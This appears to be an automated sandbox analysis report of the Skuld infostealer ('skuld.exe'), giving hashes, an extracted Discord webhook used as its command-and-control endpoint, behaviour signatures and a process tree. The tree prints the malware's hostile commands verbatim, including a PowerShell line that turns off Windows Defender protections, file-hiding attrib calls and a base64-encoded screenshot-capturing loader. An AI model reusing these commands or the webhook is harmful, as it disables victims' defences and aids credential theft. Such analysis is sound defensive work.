Resubmissions

17-10-2024 02:38

241017-c4pyyayang 10

17-10-2024 02:37

241017-c4h6ds1gpk 10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-10-2024 02:37

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    60ee1db8e3804f423578fa28292bd459

  • SHA1

    5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

  • SHA256

    d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

  • SHA512

    691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

  • SSDEEP

    98304:RdOdn+CM8aRA3oyx/thsEzgzMPEPmjBJZrZ6BN9elQcR:RdXCM8JvHsEzg4M4cN9ef

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1632
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4448
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3088
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u4xs4hmw\u4xs4hmw.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCB01.tmp" "c:\Users\Admin\AppData\Local\Temp\u4xs4hmw\CSCF1FDF4F7D3D94BE1A9CAD90EEB84335.TMP"
          4⤵
            PID:4196
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:904
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4544

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      91bb727f9f38b062b79d16732e0f8309

      SHA1

      2af9b4370e0b2349ef5c63922294e88cfc3f4d7b

      SHA256

      5dd7a416fc0c155c48269fae9b4e7664c7426c49df6bb6b79a6b2056e9d81071

      SHA512

      41edd7aa56125b6171e611ad9c734ad464fea872202c467edbd0af989522fdba7a00cc855f97e1e7ed2790dbd3b8d0f0978841eeeeb5db823ccea6833189d152

    • C:\Users\Admin\AppData\Local\Temp\90CPDxR85f\Display (1).png

      Filesize

      421KB

      MD5

      89b81cf0c3bb0ed26c45f32ce94f2bc8

      SHA1

      6d296a6b21e65b1c7d31eb0184b3b16f56003bd6

      SHA256

      eb7f807d59ba7515f6a45d23082ae55a0835773ba21cfe01a4b44def51a8638d

      SHA512

      6157fc9f67dc7fabe72a17bdb5a787698baca0a7181a20fc132a0614f9fbb71a37b00067d975f52ede64010e6f74aa1e42a046c31de0071c4aff24fada775635

    • C:\Users\Admin\AppData\Local\Temp\RESCB01.tmp

      Filesize

      1KB

      MD5

      391ce81f5024231462d27f5554e3e0b3

      SHA1

      89ef0ecf1d2159a2ee8c95d309c2b56c5338f2a6

      SHA256

      21d78c32a91ff2de2ed43ae581c2df3d228b204152cb97c5e0b4a83a5c9a82fd

      SHA512

      ec1e014cc02f7aaff4281a566c55824086155ef871f76b78627e2d2b9c879eb4c50a3dbd55eab968ec1f45d94a87b823c9a821d0b0ba172122c4c847fedd9661

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cidety0e.lqe.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\u4xs4hmw\u4xs4hmw.dll

      Filesize

      4KB

      MD5

      663a2ac31e1655b9609f402bd8242f47

      SHA1

      2f8928463a83567e884ee6315a74a0c140a310e0

      SHA256

      0051c82e35f9d10f95ae30882612c706e164ddde8bb1e069800af83a16479aaf

      SHA512

      cf5b44f7863f896bff89e95c546ea4c88397268adbf35637b2633798626d7eb3202d65f56797c35f99d7cae837ce24655f66235131855bbfc0f52bbe80134df1

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      60ee1db8e3804f423578fa28292bd459

      SHA1

      5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

      SHA256

      d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

      SHA512

      691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\u4xs4hmw\CSCF1FDF4F7D3D94BE1A9CAD90EEB84335.TMP

      Filesize

      652B

      MD5

      e0ad4eec8260e71a8f0a7c7febb0bbea

      SHA1

      81a141dbe68777b36e9a9db642d0d93cb2c1f340

      SHA256

      e9db32486eeb50c312c2cc65c1ec107ffcb691024a36f43725c4fa083c23a2ac

      SHA512

      da6c4247c61ab746df2a42badf8b6be9ecc7e145b84ec9f2cb31ecc8d04e42ade7bdfd2fc141ea2253a941f08f6febae872331b0b49718fbdfa786b934ec41ed

    • \??\c:\Users\Admin\AppData\Local\Temp\u4xs4hmw\u4xs4hmw.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\u4xs4hmw\u4xs4hmw.cmdline

      Filesize

      607B

      MD5

      849d325ea72c507d9f754763dbd94485

      SHA1

      3da1b00b8402368279c020106c684d30b08e6b19

      SHA256

      ef3b6c6ccc4b033d20f378e2343b0269f5680c997e0721bf1bfeab1ab334f384

      SHA512

      10c2bb23723e429214af136deb80a5a7f813bc9af845cc672e912c789ddd6c4cf1fa3181003c6f7b186a909de7099a84173ce1694de3c74f1bd40dcfc1f32c50

    • memory/1632-15-0x00007FFC04150000-0x00007FFC04C11000-memory.dmp

      Filesize

      10.8MB

    • memory/1632-0-0x00007FFC04153000-0x00007FFC04155000-memory.dmp

      Filesize

      8KB

    • memory/1632-22-0x00007FFC04150000-0x00007FFC04C11000-memory.dmp

      Filesize

      10.8MB

    • memory/1632-13-0x0000021237E30000-0x0000021237E52000-memory.dmp

      Filesize

      136KB

    • memory/1632-3-0x00007FFC04150000-0x00007FFC04C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3088-62-0x0000026E9A600000-0x0000026E9A608000-memory.dmp

      Filesize

      32KB